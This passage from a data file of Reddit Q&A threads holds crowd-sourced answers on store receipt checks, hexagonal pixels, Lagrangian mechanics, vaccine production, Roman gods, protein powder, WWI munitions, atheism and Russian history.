guard) can only detain/arrest you if they witness a crime being committed, whereas a peace office may detain on the suspicion that you committed an offense and arrest on a belief that you committed an offense. If you are arrested by security they are also not permitted to conduct a search of your person, they must contact the police immediately and wait for them.\n\nSo no you don't have to submit unless it is contractual.", "In my state they only have the right to \"detain\" you if they have suspicion that you stole something.  And then they can only \"detain\" you long enough for the cops to arrive, at which time you have every right to still refuse to show a receipt.  The cops might or might not recommend that the store trespass you from ever coming back.  But even with the cops on the scene it does not mean you HAVE to show your receipt.  \n\nYou have every right to decline them checking your receipt or bag.  If a guard asked to see your receipt and you said no, they would have to let you leave unless they then told you they suspected you of stealing.  If this happened to me, I would ask them what caused them to suspect me personally and then walk out when they did not have a good answer.  I mean....if this is the type of place that checks EVERY person's stuff, then they are not going to have a good answer to the **\"why do you suspect ME SPECIFICALLY\"** of stealing.\n\nNow if we talk about the \"club\" stores like Costco, Sams Club, BJ's, etc..., those ask for your receipt since you signed up for a membership with them where the membership states that you agree to follow their procedure.  You could still decline to show the receipt and walk out, but they then have the ability to cancel your membership.  Don't follow the rules, don't get to be part of the club.  \n\nThis same concept applies to your \"normal\" store, but it would be more in the form of them trespassing you from ever coming back.  They have the right to trespass anyone, for any reason.  So they would not even need to specify that it was because you refused to show a receipt.", "Can't search your personal possessions but most states have merchant protection laws that allow detaining something for probable cause and one of those listed is \"activating a security system\" such as the alarm towers by the doors. Now this would never happen really because no LP worth his salt is going to attempt an apprehension just based on those. Not to mention it wouldn't really hold up in court.", "Shopkeeper's privilege: In some jurisdictions of the United States, the courts recognize a common law shopkeeper's privilege, under which a shopkeeper is allowed to detain a suspected shoplifter on store property for a reasonable period of time, so long as the shopkeeper has cause to believe that the person detained in fact committed, or attempted to commit, theft of store property.[1]\n\n\nEMPHASIS: cause to believe", "I work at a major retailer as assets protection/loss prevention, and basically it works like this, straight from management/training. We can ask to check the receipt of any person leaving the store, most of the time to make sure high-priced items have been checked out, but also we may think a cashier missed an item under your basket (which costs my employment chain millions of dollars per  year), or you set the towers on the sides of the door off. Regardless, we are there to do or best to reduce loss at the store, receipt checks assist in this. \n\nHowever, we cannot hold you on the grounds of a receipt check. You have every right to refuse. If you do though, expect to be watched like a hawk every time you walk into the store from then on. It's a theft trend, something that we look for everyday. Other theft trends include wearing clothes inappropriate for the season, avoiding employees, and a handful of other things. \n\nNow, we can legally detain you, as long as the law and company policy is followed. If we can say beyond a reasonable doubt that you stole something we will detain you until law enforcement arrives, at which point we show them our evidence, they issue an arrest, citation, or trespass notice, and then you're their problem. The guidelines for apprehensions are so precise that unlawful detainment is rarely an issue. There's usually lots of video, visual surveillance, and we probably know where the stolen items are on your person. That let's us give law enforcement probably cause to detain, request a search, and issue an arrest/citation. \n\nTL;DR: Receipt checks aren't fun, but they are necessary for our job. We can't hold you for not letting us see a receipt, unless we know for certain you did something wrong. Assets protection/loss prevention are just following our guidelines, please don't think less of us, and be nice, most of the time we will be too :)\n\nEdit: grammar. ", "Its pretty fucked up at the Manassas, VA Walmart. I buy something, begin to walk out and get stopped by this person. Now I am like wtf, but I start pulling out my receipt and there's at least 6 different white couples/families rolling by. I ask the dude why do you want to see my receipt and why aren't you stopping these other people. \"I need to see your receipt.\" No sir, you need to fuck off. Dude followed me out the second set of doors. I just kept walking.\n\nRacist pieces of shit.", "I've read most comments here, are you guys seriously saying that it's normal? Like every time in specific store chains? Where the fuck do you even live that there is a security guard at the exit.\n\nHere in Germany we also have Guards (read: bored guy that wanders around aimlessly while trying to look badass) in some stores that are frequently robbed and I mean robbed cashier, not the occasionally stolen item. They aren't even interested in what you have in your bags unless you try to pull a gun on the cashier. We also have the occasional but obvious store detective but they wouldn't even dare to ask someone to open their backpack unless they've seen him putting something in there before reaching the cashier even then I never had problems. I usually fill up my backpack in the store and empty it at the register, not even once I was asked to let them look inside. What you guys describe here is seriously paranoid. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "1392mh", "title": "What if pixels were hexagonal rather than square?", "selftext": "Hexagonal packing is a more \"natural\" packing pattern than square packing. Are there any reasons beyond the obvious that modern display screens use the latter?\n\nFor example, the rasterization of a horizontal or vertical line on a square-packed display is trivial, but on a hexagonally-packed display, the rasterization of at least one of them is not. But what about an arbitrary line? My intuition tells me that an arbitrary line would have a \"better\" rasterization on a hexagonally-packed display. Would this carry over to an arbitrary image? Would photos look better with hexagonal pixels than they would with square ones?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1392mh/what_if_pixels_were_hexagonal_rather_than_square/", "answers": {"a_id": ["c71wqme", "c71xcz7", "c71y63j", "c71z12u", "c71zas4", "c71zxhc", "c720390", "c721c56", "c723xse", "c724yn3", "c726n1f", "c72b66v", "c72n2h0", "c77popt"], "score": [16, 134, 41, 20, 118, 2, 6, 11, 4, 4, 2, 2, 3, 3], "text": ["The big difference is how do you store hex-grid information in memory. For square-grids you have pixel = (row*columns)+column to get the memory address for that pixel and you can read out pixel values to dump down a wire (for a CRT, remember those) very easily.\n\nFor a hex-grid you end up not having two orthogonal vectors for easy output so it gets harder to do the memory map.\n\nOf interest is the [pentile](_URL_0_) subpixels used on some displays to increase density without having to shrink all the sub-pixels.\n\n", "A big problem with a hex grid is that straight lines are angled 60 degrees apart, not 90 degrees, and so you can choose high fidelity for vertical lines or horizontal lines, but not both.  This would not be a problem for most images, but fine vector graphics (such as a cursor or a fine border) would have problems.", "Doesn't exactly answer your question, but for everyone's interest, old-school CRT televisions and monitors had repeated three color phosphors arranged in a hexagonal pattern like this: _URL_0_", "I think it comes down to something pretty simple. It would bring a lot of minor complications (mentioned elsewhere in this thread) and no major benefits. Sure, you can think of ways to overcome all of these complications, but the question remains: Why would you want to? Especially these days, where we're getting to the point where you can barely even see pixels. At 2880x1800 on a 15\" screen, I don't really care, to be honest.\n\n\n\nEDIT: At 2880x1800 on a 15\" screen, it doesn't really matter, to be honest.*", "From a software developer's perspective, pretty much all the data you work with is based on Cartesian coordinates, stored in 2d arrays, and transformed with matrices. The operations to map any coordinates onto a square grid are very fast, memory-efficient and intuitive for programmers.", "even if we could come up with GREAT reasons for it with hardware, there is also a huge amount of software that would need to change or expand too\n\nall video and photo editing we have now are based on square grids\n", "I don't see an obvious advantage to hexagonal pixels. Rasterization of arbitrary lines would need a much more complicated algorithm than on square pixels, probably slower too.\n\nAn orthogonal box would look funny, unless you had a very high density pixel grid, in which case you've lost the conjectured advantage of being more natural looking since a square grid would be indistinguishable from a hexagonal one due to the limits of our eye-sight.\n\nCan't speek for the hardware guys, I'm a software guy.", "There is a book on hexagonal image processing:\n_URL_0_\n\nHexagonal sampling is used sometimes when you need a dense packing of samples for one reason or another. For example, the Lytro camera uses a hexagonal microlens array (here's a pic): \n_URL_1_", "A large problem with hexagonal pixels is that you can not render on a pixel level a straight high contrast edge both vertically and horizontally, since almost all software packages are designed around rectangular working frames you would get one sharp edge and one fuzzy edge which is aestheticly displeasing.\n\nQuite a bit of work has been done for both medical imaging and photo processing with arbitrary sized and shaped pixels, which for images with features that differ in size by several orders of magnitude can reduce aliasing and memory use significantly. ", "Really, a hex pattern is simply a square pattern with every other row pushed over half a pixel, yes? ", "From a computer vision perspective, hexagonal pixels are a lot better - square pixels cause artifacts when calculating gradients and lines at different angles. It suffices to have square pixels where every other row is offset one half pixel though.", "If it helps, the inventor of the square pixel is pretty pissed that they settled for such a rigid, simplistic design. See for example this wired article and other articles around that time\n\n_URL_0_\n\n > \u201cSquares was the logical thing to do,\u201d Kirsch says. \u201cOf course, the logical thing was not the only possibility \u2026 but we used squares. **It was something very foolish that everyone in the world has been suffering from ever since.\u201d**", "Coding for visual applications like photo editing software or video games would become an extreme pain in the ass.", "The inventor of the square pixel apologized for it quite a while ago, and has actually created a different implementation.\n[Link](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Pentile"], [], ["http://upload.wikimedia.org/wikipedia/commons/9/9f/CRT_screen._closeup.jpg"], [], [], [], [], ["http://www.springer.com/computer/image+processing/book/978-1-85233-914-2", "http://eclecti.cc/computervision/reverse-engineering-the-lytro-lfp-file-format"], [], [], [], ["http://www.wired.com/wiredscience/2010/06/smoothing-square-pixels/"], [], ["http://www.switched.com/2010/07/04/inventor-of-the-square-pixel-apologizes-creates-newer-better-v/"]]}
{"q_id": "6be3ex", "title": "What are Lagrangian and Hamiltonian mechanics in a simple sense? Also, why would you use them?", "selftext": "I looked it up and tried to understand it and I kind of get Lagrangian but not Hamiltonian in the slightest.\n\nWith Lagrangian mechanics: What is the generalized force? Also, what are you actually solving for?\n\nWith Hamiltonian: Basically what is this? Any examples that would be easy to follow?\n\nThanks in advance", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6be3ex/what_are_lagrangian_and_hamiltonian_mechanics_in/", "answers": {"a_id": ["dhm1wd1", "dhmc6i6"], "score": [17, 20], "text": [" > What is the generalized force?\n\nIt's just a generalization of forces from Newtonian mechanics. They don't have to have the same units as an actual force. For example, torques are \"generalized forces\".\n\n > Also, what are you actually solving for?\n\nYou are obtaining a set of differential equations of motion from the Euler-Lagrange equations, and solving them for the trajectory.\n\n >  Basically what is this?\n\nSimilar idea to Lagrangian mechanics, just with slightly different independent variables (coordinates and momenta rather than coordinates and velocities).\n\n > Any examples that would be easy to follow?\n\nAny simple mechanical system is a good way to work out an example in all three formalisms in order to compare.\n\nFor example a 1D simple harmonic oscillator. In Newtonian mechanics:\n\nF = ma = -kx\n\nx'' = - (k/m) x.\n\nIn Lagrangian mechanics:\n\nL = T - U = mv^(2)/2 - kx^(2)/2.\n\nThe E-L equation gives\n\n-kx = d(mv)/dt\n\nma = -kx\n\nx'' = - (k/m) x.\n\nIn Hamiltonian mechanics:\n\nH = T + U = p^(2)/(2m) + kx^(2)/2.\n\nThe Hamilton equations of motion say\n\ndp/dt = -kx, dx/dt = p/m.\n\nCombining those, you get x'' = - (k/m) x.\n\nAll three formalisms give the same equation of motion. Then solving for the trajectory is identical in all three cases, it's just a sinusoidal oscillation as a function of time.", "The main philosophical idea in Newtonian mechanics is cause and effect, or more precisely that changes in motion (acceleration) have definite causes (forces).\n\nIn contrast, the main philosophical idea in Lagrangian mechanics is *minimization*. More specifically, the idea is that physical systems evolve in such a way that a certain quantity is always [minimized](_URL_2_). This quantity is known as the \"action\" of the system, and it's rather mysterious to be honest.\n\nTo better understand, we can look at the example of a single particle. Suppose we know that the particle is at position x1 at time t1, and at position x2 at a later time t2. The question we ask is what trajectory did the particle take to get from one state to another? The answer provided by Lagrangian mechanics is: the trajectory for which the action is minimized. The definition of the action is the time integral (from t1 to t2) of another quantity known as the [Lagrangian](_URL_3_), which is the kinetic energy minus the potential energy.\n\nBefore we know the real trajectory of the particle, we could imagine all sorts of \"candidate\" trajectories that connect points x1 and x2, some of which might look plausible, some of which might look crazy. The action is a quantity that depends on these candidate trajectories. We find the real trajectory by demanding that the action is minimized for this trajectory. In doing so, we end up finding that the real trajectory must obey a set of equations known as the [Euler-Lagrange equations](_URL_0_). These equations are somewhat analogous to Newton's 2nd law, in that they give you the equations of motion of the system. Once you have the equations of motion, you need to solve them to find the trajectory.\n\nThe cool thing about Lagrangian mechanics is that it gives you a lot of freedom in choosing how to describe your system, that is to say the *coordinates* you use to specify a configuration of your system. Whereas Newtonian mechanics demands you use a vector quantity to specify the position, in Lagrangian mechanics you can use *any* set of numbers, even ones that don't form a vector (such as spherical or cylindrical coordinates). These coordinates are called [\"generalized coordinates\"](_URL_4_), usually denoted by q in equations when kept general. If you require N generalized coordinates to describe your system, there will be N Euler-Lagrange equations. When you find the Euler-Lagrange equations for your system, they will be written in terms of these generalized coordinates, and the terms in the equations are known as generalized forces. This is because usually the Euler-Lagrange equations have something that looks a lot like \"ma\" (mass times acceleration) on one side of the equations, and thus the other terms could be interpreted as \"forces\", but written in these general variables.\n\nOk, so what is Hamiltonian mechanics? It's basically a variant of Lagrangian mechanics, and thus also adopts the minimization principle as it's main philosophical basis. The key difference is that, whereas the equations of Lagrangian mechanics are written in terms of the generalized coordinates q and their velocities, the equations of Hamiltonian mechanics are written in terms of the generalized coordinates q and their *momenta* p. Furthermore, whereas in Lagrangian mechanics there is a dependence between the generalized coordinates q and their velocities (the latter being the time derivatives of the former), in [Hamiltonian mechanics](_URL_1_) the momenta are to be regarded are *independent* from the generalized coordinates.\n\nWith these new coordinates, one proceeds to demand again that the action is minimized, and, instead of the Euler-Lagrange equations, one finds what are known as Hamilton's canonical equations. Again these are the equations of motion of the system, which are to be solved in order to find the trajectory. One key difference is that if your system required N generalized coordinates, and thus N Euler-Lagrange equations, there will be 2N Hamilton canonical equations but they are \"half as difficult\" to solve.\n\nThat's the best I can do without getting technical. Also, Hamiltonian mechanics is cooler, just saying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Euler%E2%80%93Lagrange_equation", "https://en.wikipedia.org/wiki/Hamiltonian_mechanics", "https://en.wikipedia.org/wiki/Principle_of_least_action", "https://en.wikipedia.org/wiki/Lagrangian_mechanics", "https://en.wikipedia.org/wiki/Generalized_coordinates"]]}
{"q_id": "25yz82", "title": "why are eggs used in making vaccines?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25yz82/eli5why_are_eggs_used_in_making_vaccines/", "answers": {"a_id": ["chm21vy", "chm24tj"], "score": [2, 5], "text": ["To answer this you should know that viruses don't reproduce on their own. They find a \"factory\" cell, a cell normally producing tissues needed for other beings, to inject their RNA into and force the infected cell to start cranking out other viruses instead of their normal tissues. For this reason, the fertilized egg's center is the PERFECT breeding ground for viruses. A hole is made in the egg shells and the virus is injected into the egg. A few days later, the viruses are harvested from the egg and sterilized for the injection.", "[Here is a good description](_URL_0_) of how flu vaccines are manufactured.\n\nBasically we start with a small number of viruses. We need a lot of viruses to make vaccines. Viruses need a living host to reproduce. So basically, we use chicken eggs as our living hosts. First we take a couple of viruses, inject them into the chicken egg. The virus reproduces 100's of times over inside the chicken egg. We then take the many many viruses out of the eggs. We then isolate the viruses and kill all of them. These dead viruses make up the vaccine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://grow.cals.wisc.edu/health/knowhow-how-to-make-a-flu-vaccine"]]}
{"q_id": "1oq0nb", "title": "In very ancient times, were Neptune and Jupiter completely different from Poseidon and Zeus?", "selftext": "Were the Roman and Greek gods always roughly the same characters, or did they converge as Greek influence in Italy grew?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1oq0nb/in_very_ancient_times_were_neptune_and_jupiter/", "answers": {"a_id": ["ccueubo", "ccuew7a", "ccuhkiv"], "score": [10, 6, 7], "text": ["The answer is yes, all of that. They were roughly the same characters, genetically related because of a descent from a common ancestor (with divergence over the course of time and because of the influence of different indigenous cultures). But with the Roman regard for Greek literature, the Greek pantheon affected the Roman belief system (and the literature that described it).", "They were always roughly the same, because they developed from the same source - Ancient Indo-European religion. Indeed, Zeus and Jupiter share the same word root, derived from the proto-indo-european language.\n\nThere was of course some divergence in many of the less important gods, so both pantheons also converged in time due to the mutual influence.", "Roman's, culturally, are great adapters.  As they traveled the world they did surprisingly little innovations themselves other than to combine lots and lots of disparate and different ideas under one roof and pluck out the good parts.  I suppose you can call that invention, but it's not creation.  This includes religion.  \n\nRoman religion was originally centered on far more 'pagan' ideals than we would consider the Greeks.  Greeks are pantheistic, investing a personality and traits of humanity into the legend and lore of their gods.  In comparison, the Romans originally observed their gods as 'forces of nature', to use a simple term, and they were almost entirely devoid of personality.\n\nLo and behold, the conquering Romans fell in love with Greece.  This was evidenced in many aspects of culture, architecture, science, math, philosophy and even religion.\n\nTo put things in simple terms, Romans assimilated the qualities they liked from Greek mythos and adapted them to a Roman pantheon.\n\nZeus and Jupiter share a likeness in that they are both regarded as father figures for their pantheon.  Jupiter is a tradition \"all-father\" and by abstraction, picked up qualities from Zeus.  As time wore on the two remained separate entities, however some myths of Jupiter borrow heavily from Zeus especially where matters of personality are concerned.\n\nI would recommend *Who's Who in Classical Mythology* by Michael Grant  &  John Hazel for a basic premise on the pantheons.  It's not terribly deep but it is wonderfully readable.\n\nI agree with a lot of what /u/itsallfolklore has to say, however I tend to look at things more anthropologically whereas he weighs things with an eye to folklore and literature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a6ao2e", "title": "Genghis Khan impact on the height of Chinese people", "selftext": "In the tv show Atlanta, a character called Darius states that \"Chinese people are short 'cause of Genghis Khan\"; he says that if people were shorter than either Genghis himself, or a stick that he had (I'm unsure which), then they were executed...and that because of this \"Chinese people are short\". \n\n & #x200B;\n\nIs this true? Can anyone clarify?   \n\n\nThanks in advance.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a6ao2e/genghis_khan_impact_on_the_height_of_chinese/", "answers": {"a_id": ["ebtsklw"], "score": [3], "text": ["The story itself is apparently apocryphal. Genghis Khan only conquered part of China during his lifetime and personally only spent a few years there before turning his attention towards Central Asia. The Mongols did commit massacres over the course of their conquests in China and elsewhere, but this was done as psychological warfare to crush resistance to their rule. Doing something as arbitrary as killing everyone over a certain height wouldn't have served any purpose, and would have been a massive undertaking.\n\nThere's also the fact that Chinese are not shorter on average than other East Asians, and that people from northern China (the part that was conquered by Genghis Khan) are taller on average than people from southern China (the part which came under Mongol rule later)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "20h7o5", "title": "How did compulsory military service affect the number of victims, the destruction and the outcome in general of civil wars in those countries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20h7o5/how_did_compulsory_military_service_affect_the/", "answers": {"a_id": ["cg372q6"], "score": [2], "text": ["I'm sorry, but your question needs a specific country to be accepted here. We do not allow unspecific questions in this sub."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aonxz6", "title": "how is protein powder made?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aonxz6/eli5_how_is_protein_powder_made/", "answers": {"a_id": ["eg2mukt", "eg2ncxc", "eg30qv2"], "score": [70, 18, 3], "text": ["Depends what type of protein powder it is.  For some, like whey, it's simply the liquid whey left over from cheese making that has been filtered to remove the sugar and fats, and then dehydrated.  Then they can season it with various flavorings to make it more appealing.", "Take something that has protein in it, and use processes to remove water and other unneccesary things so you just have protein. ie take protein-y things, remove all the non-protein, so you got just protein. Dairy products are an obvious choice. Separate just the whey, and then dehydrate that. Whey is one of the key componenets of protein powder. The other types are vegetable (often pea), and Soy. \n\nWhey protein powder is a by-product of the creation of cheese and milk. Whey is typically considered one of the best since it helps with muscle growth and repair. \n\n[_URL_2_](_URL_0_)\n\n[_URL_3_](_URL_1_)\n\nFor the specific mechanical process, I can't explain that. Someone else can. ", "In general they are made from whey which is the liquid remaining after milk has been curdled and strained, it is a by-product of the manufacture of cheese. - _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Bodybuilding_supplement#Protein", "https://en.wikipedia.org/wiki/Protein_quality", "https://en.wikipedia.org/wiki/Bodybuilding\\_supplement#Protein", "https://en.wikipedia.org/wiki/Protein\\_quality"], ["https://youtu.be/D0ETy2bQHA8"]]}
{"q_id": "3kqrra", "title": "Do we have any idea how many bullets/shells were fired during WWI for each nation?", "selftext": "I read that France fired about 170K but I can't tell if that is bullets, shells or both. I also read that the brits fired 170K shells. What about small arms?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3kqrra/do_we_have_any_idea_how_many_bulletsshells_were/", "answers": {"a_id": ["cuzvagl"], "score": [4], "text": ["I'm afraid your number is off by a few orders of magnitude but it does refer to shells. According to this article, for instance, the British army alone had fired over 170 *million* artillery shells by the end of the war. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bbc.co.uk/news/mobile/magazine-17011607"]]}
{"q_id": "3wuffa", "title": "why does it seems that atheists mostly attack the views of christians and jews, instead of muslims and buddhists? (read textbox for disclaimer)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wuffa/eli5_why_does_it_seems_that_atheists_mostly/", "answers": {"a_id": ["cxz5kq4", "cxz5ok4", "cxz5rc2", "cxz6zod", "cxz77qq", "cxz78gr", "cxz7axa", "cxz962z", "cxz9eki", "cxz9kd5", "cxza900", "cxzaoqh", "cxzaovg", "cxzb2r0", "cxzc4f3"], "score": [230, 55, 6, 3, 15, 17, 6, 3, 8, 2, 6, 3, 2, 2, 2], "text": ["Most Western atheists were raised as Christians (and a much smaller portion as Jews), and it's natural for any anti-religious sentiment to be directed at the religions with which they are most familiar.", "Presumably, your experience is mostly limited to atheists in a culture where Judeo-Christian beliefs are dominant.  They're reacting to what they see and experience every day  &  what influences their lives  &  governments.\n\nMuslim-majority countries also tend to be somewhat more restrictive in the whole freedom of religion thing.  There's parts of the world where blasphemy (saying bad things about religion)  &  apostasy (denouncing your religion) are criminalized - in some cases carrying the death penalty.", "Where? \n\nIn the US you have Christianity and Judasim as the major religions. \n\nMuslim is a small percentage even even then the Middle East situation?\n\nBuddhist generally don't have a history of trying to force their religion and it's far more a philosophy anyway. Nothing to really attack. \n\nBut again I ask where? I feel you are using confirmation bias. If it's internet atheist.........people online bitch about everything. ", "Because Jews, Muslims, and Buddhists don't claim that their religion is the true religion of the US. ", "This is because most of the atheists you're being exposed to reside in western countries where Islam and Buddhism have little to no power, making it pointless to criticize these faiths. For the same reason, this is why rightward-leaning Americans criticize Obama a lot more often than you would hear them criticize Fidel Castro, even though the latter is unarguably more oppressive and left-leaning than the former. Criticizing Castro in this case would be strange because Castro has near-zero support here and his actions do not affect America (very much). ", "Christopher Hitchens had a lot to say about Islam.\n\nBut, as as been mentioned by others, most atheists are in countries where Judaism and Christianity are prevalent. ", "In the US, there has been a strong movement by the Christian right to incorporate Christian values into law. You don't so many Muslims trying to put the Koran on the walls of court hosts, but you sure see it with the 10 commandments. It makes for a backlash from non-Christians.", "Part of it is that most atheists are from parts of the world where the Judeo-Christian culture is prevalent and so is well known to atheists there. So they're 'attackin' the religion(s) they know. I imagine if you were an atheist in Saudi Arabia and you were a nonbeliever, you would be focusing mostly on Islam.", "Has to do with where they were born and what the alternative to atheism is for that location.  Believe me, atheists who were raised in nominally Muslim countries say just as many hateful things about Islam as our white bread Western atheists do about Christianity. \n\nTheir opinion about Christianity? \"It's all the same shit!\"", "Because western countries are predominately Christian. There are plenty of criticisms of Islam. Think \"Draw Mohammad Day\". The thing is that in the US and Europe, Christianity is a much bigger target and its the religion of the most powerful and loud people who seems to flaunt their religion.\n\nA lot of predominately can be less friendly to the kind of criticism that you see in the west.", "One point about Buddhism that no one else has made so far in this discussion is that it is a non-theistic religion.  Even though the Buddha is highly revered as an enlightened being and teacher, he is not regarded as a god.  So if Buddhism does not tell us that there is a god, then there is no apparent need for an atheist to argue with Buddhism - although it should be noted that as atheism arises from skepticism, atheists could still be skeptical about Buddhism, which does have a mystical element to it that clashes with a purely scientific world view.\n\nOther than that, I agree with everyone else who has pointed out that leading atheists (among whom I include Bertrand Russell, Richard Dawkins, Christopher Hitchens, Sam Harris, Daniel Dennet, Lawrence Krauss etc.) live in predominantly Christian countries (all of the ones I mentioned live or lived in either Britain or the US) and so naturally Christianity will be the most relevant religion.", "As an American non-believer it's a double edged sword here:  If I attack Christianity I'm labeled by the right wing as a liberal ass who wants to destroy everything that made 'Murica great.  If I attack Jews then I'm labeled as anti-Semitic by about everyone.  If I attack Muslims I'm labeled by the left-wing as racist ass who hates everyone who's not a WASP (white/anglo-saxon/protestant).  You can't win no matter what.  \n\nIn reality I could care less about what a person's religious views are as long as they don't try to force them on me.  I no more believe in the god of Abraham than I do Odin/Zeus/Set/Danu/etc.", "As an atheist, the reasons I don't spend a lot of time criticizing Buddhism and Islam:\n\n- Buddhism isn't inherently theistic, and the philosophy as a whole is kind of a nifty precursor to modern psychotherapy. I don't doubt there are shitty Buddhists out there, but most practitioners I've met are cool as hell. \n\n- There's really no shortage of criticism of Islam in our society, so I don't really feel a need to jump in there. Actually, since there's so much demonstrably untrue nonsense said about Islam (There are sharia courts in Dearborn! Refugees are all potential terrorists!), I usually find myself trying to rebut said nonsense, even though I think Islam is exactly as baseless as any other theistic system. ", "As an atheist I think all religions are silly. However, I \"attack\" the Christian and Jewish religion because that's statistically the more frequent religions I encounter.  Not to mention if I were to \"attack\" the Muslim or Buddhist faith most of the Christians I would be stating my concerns to would likely agree with me, since they too likely find Muslims and Buddhists silly, just not for the same reason.", "Maybe it's just me but I like how you totally ignored one of the most popular/biggest religions out there: Hinduism.  \n  \nYou list pretty much only the religions most popular for one reason or another in the western civilisation while glancing over Hinduism and what wiki calls \"Chinese traditional religion\" which is basically Confucianism wiht a bunch of other religoions thrown in there, traditionally mostly buddhism and taoism, but nowadays they apparently also often throww in some christian stuff as well.  \n  \nSure you read most about atheist complaining abotu Christians, mostly because Christianism is the dominant religion in most, if not all, western civilisations. So most of our encounters with religious people and most of our backgrounds will be from Christians/Christianity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5yw9ek", "title": "how much oxygen does a fully grown marijuana/hemp plant produce? is it more or less efficient at converting co2 than a tree?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yw9ek/eli5_how_much_oxygen_does_a_fully_grown/", "answers": {"a_id": ["detdv13", "detdv95"], "score": [4, 2], "text": ["There are three different classes of photosynthesis: C3, C4 and CAM. C4 plants are more efficient at converting carbon dioxide to oxygen and include plants like corn, sugarcane and grasses. Marijuana is just a C3 plant, which is pretty standard and similar to most trees. \n\nAmongst those plants, the general guideline is the more leaves, the more oxygen you'll produce. Each leaf gives off, on average, 5 milliliters of oxygen per hour.\n\nSo generally, a tree that has a lot of leaves is always going to out-produce a smaller marijuana plant when it comes to O2 production. In terms of overall efficiency, they are both C3 plants, so they are about the same per volume.", "More. Virtually all plants that grow faster than a tree are more efficient at growing trees. For example the corn crop in the US produces roughly twice the O2 of the entire Rainforest in Central and South America.\n\nBut this really does not matter. 80% or more of the oxygen on the planet comes from Algae in the oceans. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1sz7h5", "title": "Is there any \"happy\" Russian History?", "selftext": "My final paper is put to a primary source into context and basically talk about russian history from about 1900 to 1950s. Its all filled with famine, terrors, and exiling? \n\nGranted the period in which I am studying was a pretty crazy time for all of humanity, im just curious is there any russian history that will make me smile?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1sz7h5/is_there_any_happy_russian_history/", "answers": {"a_id": ["ce2qk1k", "ce2stbk", "ce39ldl"], "score": [8, 2, 3], "text": ["Actually, Soviet society of 1920-1940 was pretty optimistic and positive. While there was a Great Depression in the Western countries, Soviet economy had stable growth. Industrialization and urbanization led people to the cities where great buildings were erected. Also it was the time between great wars so people were happy to get to a decent peaceful life from extreme poverty. In art there was comedy, satire, children books and, of course, tons of low-quality socialist realism stuff. \n\nIf you want to check the literature of the time, try The Twelve Chairs. In movies you have [Volga-Volga](_URL_0_), positive stuff too.\n\nAs for the bad stuff happenning at the time - it was isolated from people more or less. Famines didn't affect cities and most parts of the country (ensuring this worsened famine is others though), your average apolitique person wasn't affected by repressions. Imagine some British 19th century bourgeoisie who doesn't care much about distant colonial opression and proxy wars and just enjoys benefits of economic prosperity. So those times were happy for many, especially with the help of very optimistic propaganda and following nightmarish war.", "It depends on where you look! While it is true that much of Russian history can be incredibly depressing, if one just takes the time to look alot of it can be quite entertaining. Take the tale of Frol Skobeev (_URL_1_). He's a young minor noble with no chance to marry the girl that could provide a major increase to his station. So naturally he fulfills the fantasy of every adolescent boy and borrows his sisters dress and sneaks into one of those girls only sleepovers that we have all dreamed of, only in Medieval Russia. Now its gets much weirder after that (and i certainly dont condone his initial courtship of his future wife) but the example is there. *edit: the tale, along with other entertaining and interesting examples of interesting primary sources on Medieval to Premodern Russia, can be found in Zenkovsky's *Medieval Russia's  Epics, Chronicles, and Tales*\n\nAs to an example of more historical happiness, well I would take a look at the  [All Joking All Drunken Synod of Fools and Jesters](_URL_0_) that Peter the Great so loved. If the wikipedia article intrigues you, I would check out Massie's biography of Peter the Great which goes into more detail. But the drunken shenanigans of Peter certainly paint a much different picture than any Russian tsar had ever displayed.", " > Its all filled with famine, terrors, and exiling? \n---\n\nIt also filled with story of large-scale construction, exploration, education and strive for better life. *All depends on your sources.* Looks like yours are telling just one side of the story.\n\n* construction: [DneproHES](_URL_18_), [Magnitka](_URL_19_), [Novokuznetsk](_URL_5_), [Komsomol'sk-on-Amur](_URL_0_), completion of [TurkSib](_URL_6_) and starting of Baykal-Amur Railway\n\n* exploration: record non-stop flight of [Chkalov](_URL_8_), [Baydukov](_URL_20_), [Belyakov](_URL_21_) over North Pole to Vancouver. \n[\"North Pole\"](_URL_17_) drifting ice stations. Search and rescue of [SS \"Chelyuskin\"](_URL_13_), search and rescue of [Umberto Nobile](_URL_3_) expedition by *Krasin*. [Opening of *SevMorPut'* (Northern sea route)](_URL_16_). Exploration of polar regions and Siberian wilderness (it eventually yields to discovery of huge mineral reaches - gas, oil, diamonds, nickel, rare metals).\n\n* productivity gains: [Stakhanov's](_URL_11_) movement, [Pasha Angelina](_URL_7_) call for mechanization: \"One hundred thousand (female) friends - onto the tractor!\" (Russian: 